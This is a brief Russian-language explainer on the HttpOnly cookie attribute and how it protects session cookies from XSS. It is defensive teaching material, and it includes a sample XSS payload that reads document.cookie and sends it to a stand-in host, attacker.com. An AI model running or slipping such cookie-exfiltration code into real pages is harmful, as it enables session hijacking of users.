Зачем нам атрибут HttpOnly в Cookie

Атрибут HttpOnly в Cookie защищает куки от доступа через JavaScript, предотвращая кражу сессий через XSS-атаки. Без него злоумышленник может получить доступ к кукам через document.cookie.

Пример уязвимости:

// Злоумышленник может выполнить этот код через XSS
const stolenCookie = document.cookie;
fetch('https://attacker.com/steal', { method: 'POST', body: stolenCookie });

С HttpOnly куки передаются только в HTTP-запросах и не доступны через JS. Устанавливается на сервере:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

Важно использовать HttpOnly вместе с Secure (только HTTPS) и SameSite для максимальной защиты.